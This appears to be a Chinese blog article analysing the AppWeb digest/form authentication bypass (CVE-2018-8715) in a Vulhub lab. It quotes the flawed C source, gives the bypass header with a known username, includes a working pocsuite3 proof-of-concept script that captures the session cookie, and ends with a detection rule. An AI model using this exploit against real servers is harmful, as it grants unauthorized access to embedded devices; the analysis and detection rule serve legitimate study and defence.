今天就跟大家聊聊有关Vulhub漏洞中AppWeb认证绕过漏洞是什么样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。
AppWeb可以进行认证配置,其认证方式包括以下三种:
1.basic 传统HTTP基础认证
2.digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
3.form 表单认证
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null
(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。
由于身份验证过程中的逻辑缺陷,知道目标用户名,因此可以通过精心设计的HTTP POST请求完全绕过表单和摘要类型身份验证的身份验证。
文件http / httpLib.c - function authCondition()
该函数负责调用负责认证的两个函数:getCredentials和httpLogin。注意httpGetCredentials周围缺少检查,之后分析会用到这个条件
14559 static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op) 14560 { 14561 HttpAuth *auth; 14562 cchar *username, *password; 14563 14564 assert(conn); 14565 assert(route); 14566 14567 auth = route->auth; 14568 if (!auth || !auth->type) { 14569 /* Authentication not required */ 14570 return HTTP_ROUTE_OK; 14571 } 14572 if (!httpIsAuthenticated(conn)) { 14573 httpGetCredentials(conn, &username, &password); 14574 if (!httpLogin(conn, username, password)) { 14575 if (!conn->tx->finalized) { 14576 if (auth && auth->type) { 14577 (auth->type->askLogin)(conn); 14578 } else { 14579 httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required"); 14580 } 14581 /* Request has been denied and a response generated. So OK to accept this route. */ 14582 } 14583 return HTTP_ROUTE_OK; 14584 } 14585 } 14586 if (!httpCanUser(conn, NULL)) { 14587 httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'"); 14588 if (!conn->tx->finalized) { 14589 httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access."); 14590 /* Request has been denied and a response generated. So OK to accept this route. */ 14591 } 14592 } 14593 /* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */ 14594 return HTTP_ROUTE_OK; 14595 }
文件http / httpLib.c - 函数httpGetCredentials()
此函数接收两个指向char数组的指针,这些指针将包含从请求中解析的用户名和密码。由于authCondition中没有检查,因此“parseAuth”函数失败并不重要,这意味着我们可以在WWW-Authenticate标头或post数据中插入我们想要的任何字段进行身份验证:
1641 Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the 1642 rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse. 1643 Otherwise, it is expected that "username" and "password" fields are present in the request parameters. 1644 1645 This is called by authCondition which thereafter calls httpLogin 1646 */ 1647 PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password) 1648 { 1649 HttpAuth *auth; 1650 1651 assert(username); 1652 assert(password); 1653 *username = *password = NULL; 1654 1655 auth = conn->rx->route->auth; 1656 if (!auth || !auth->type) { 1657 return 0; 1658 } 1659 if (auth->type) { 1660 if (conn->authType && !smatch(conn->authType, auth->type->name)) { 1661 if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) { 1662 /* If a posted form authentication, ignore any basic|digest details in request */ 1663 return 0; 1664 } 1665 } 1666 if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) { 1667 return 0; 1668 } 1669 } else { 1670 *username = httpGetParam(conn, "username", 0); 1671 *password = httpGetParam(conn, "password", 0); 1672 } 1673 return 1; 1674 }
文件http / httpLib.c –函数httpLogin()
此函数将检查用户名是否不为null,如果已经存在会话,则密码指针可以改为null。
1686 PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password) 1687 { 1688 HttpRx *rx; 1689 HttpAuth *auth; 1690 HttpSession *session; 1691 HttpVerifyUser verifyUser; 1692 1693 rx = conn->rx; 1694 auth = rx->route->auth; 1695 if (!username || !*username) { 1696 httpTrace(conn, "auth.login.error", "error", "msg:'missing username'"); 1697 return 0; 1698 } 1699 if (!auth->store) { 1700 mprLog("error http auth", 0, "No AuthStore defined"); 1701 return 0; 1702 } 1703 if ((verifyUser = auth->verifyUser) == 0) { 1704 if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) { 1705 verifyUser = auth->store->verifyUser; 1706 } 1707 } 1708 if (!verifyUser) { 1709 mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern); 1710 return 0; 1711 } 1712 if (auth->username && *auth->username) { 1713 /* If using auto-login, replace the username */ 1714 username = auth->username; 1715 password = 0; 1716 } 1717 if (!(verifyUser)(conn, username, password)) { 1718 return 0; 1719 } 1720 if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) { 1721 if ((session = httpCreateSession(conn)) == 0) { 1722 /* Too many sessions */ 1723 return 0; 1724 } 1725 httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username); 1726 httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip); 1727 } 1728 rx->authenticated = 1; 1729 rx->authenticateProbed = 1; 1730 conn->username = sclone(username); 1731 conn->encoded = 0; 1732 return 1; 1733 } <em>File http/httpLib.c – function configVerfiyUser()</em> The following function will first check for the presence of a valid user, either because it was already set in the session, or because it was passed, since we are able to pass a null password (line 2031), we can bypass the actual checks and successfully authenticate reaching line 2055. 2014 /* 2015 Verify the user password for the "config" store based on the users defined via configuration directives. 2016 Password may be NULL only if using auto-login. 2017 */ 2018 static bool configVerifyUser(HttpConn *conn, cchar *username, cchar *password) 2019 { 2020 HttpRx *rx; 2021 HttpAuth *auth; 2022 bool success; 2023 char *requiredPassword; 2024 2025 rx = conn->rx; 2026 auth = rx->route->auth; 2027 if (!conn->user && (conn->user = mprLookupKey(auth->userCache, username)) == 0) { 2028 httpTrace(conn, "auth.login.error", "error", "msg: 'Unknown user', username:'%s'", username); 2029 return 0; 2030 } 2031 if (password) { 2032 if (auth->realm == 0 || *auth->realm == '\0') { 2033 mprLog("error http auth", 0, "No AuthRealm defined"); 2034 } 2035 requiredPassword = (rx->passwordDigest) ? rx->passwordDigest : conn->user->password; 2036 if (sncmp(requiredPassword, "BF", 2) == 0 && slen(requiredPassword) > 4 && isdigit(requiredPassword[2]) && 2037 requiredPassword[3] == ':') { 2038 /* Blowifsh */ 2039 success = mprCheckPassword(sfmt("%s:%s:%s", username, auth->realm, password), conn->user->password); 2040 2041 } else { 2042 if (!conn->encoded) { 2043 password = mprGetMD5(sfmt("%s:%s:%s", username, auth->realm, password)); 2044 conn->encoded = 1; 2045 } 2046 success = smatch(password, requiredPassword); 2047 } 2048 if (success) { 2049 httpTrace(conn, "auth.login.authenticated", "context", "msg:'User authenticated', username:'%s'", username); 2050 } else { 2051 httpTrace(conn, "auth.login.error", "error", "msg:'Password failed to authenticate', username:'%s'", username); 2052 } 2053 return success; 2054 } 2055 return 1; 2056 }
为了能够绕过身份验证,我们需要能够传递空密码指针,幸运的是,对于表单和摘要身份验证,用于解析身份验证详细信息的函数(第1666行)将允许我们设置空密码指针,并且即使返回错误,最终也不会被authCondition检查,允许我们完全绕过身份验证,利用这个的唯一条件是知道hashmap中的用户名。
为了克服这个限制,必须考虑到散列映射的大小通常很小,并且散列映射中使用的散列算法(FNV)很弱:尝试次数有限,可能会发现冲突,并且登录不知道有效的用户名(未经测试)。
构造的get数据包,加入我们构造的usename字段,注意用户名是已经存在的才可以进行构造
Authorization: Digest username="admin"
这里有个小坑,我们获取到session数据后,得需要一个浏览器插件将其写进去。
这个是失败的结果
如果你觉得在linux下的浏览器不太好操作,那么你可以移到windows下操作:
这个是成功后的结果,如果你经常在windows下操作的话那么现在使用burp之类的工具就方便很多了。
from collections import OrderedDict import requests from pocsuite3.api import Output, POCBase, OptString, register_poc, POC_CATEGORY, OptDict class DemoPOC(POCBase): vulID = '003' # ssvid version = '1.0' author = ['xssle'] vulDate = '2019-09-20' createDate = '2019-09-20' updateDate = '2019-09-20' references = ['https://www.seebug.org/vuldb/ssvid-97181'] name = 'AppWeb认证绕过漏洞(CVE-2018-8715)' appPowerLink = 'https://www.embedthis.com/' appName = 'AppWeb' appVersion = '< 7.0.3' vulType = 'Login Bypass' desc = ''' 其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null (也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功, 并返回session。 ''' samples = [] install_requires = [] category = POC_CATEGORY.EXPLOITS.WEBAPP protocol = POC_CATEGORY.PROTOCOL.HTTP def _options(self): o = OrderedDict() o["username"] = OptString('', description='这个poc需要用户输入登录账号', require=True) return o def _verify(self): result = {} playload = "Digest username=\"{0}\"".format(self.get_option("username")) get_headers = { 'Proxy-Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9' } vul_url = self.url if vul_url.endswith('/'): vul_url = vul_url[:-1] if "http://" in vul_url: host = vul_url[7:] elif "https://" in vul_url: host = vul_url[8:] else: host = vul_url get_headers['Host'] = host get_headers['Authorization'] = playload r = requests.get(url=vul_url, headers=get_headers) if r.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = vul_url result['VerifyInfo']['set-cookie'] = r.headers['set-cookie'] else: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = vul_url result['VerifyInfo']['set-cookie'] = get_headers return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output register_poc(DemoPOC)
请求的数据包中添加如下内容,因为只有在usenmae字段的用户名存在的情况下才会触发漏洞,那么我们在检测的时候只要发现数据包中被添加了如下字段那么就有可能存在攻击
Authorization: Digest username="admin"
添加如下规则
Authorization: Digest username=
看完上述内容,你们对Vulhub漏洞中AppWeb认证绕过漏洞是什么样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。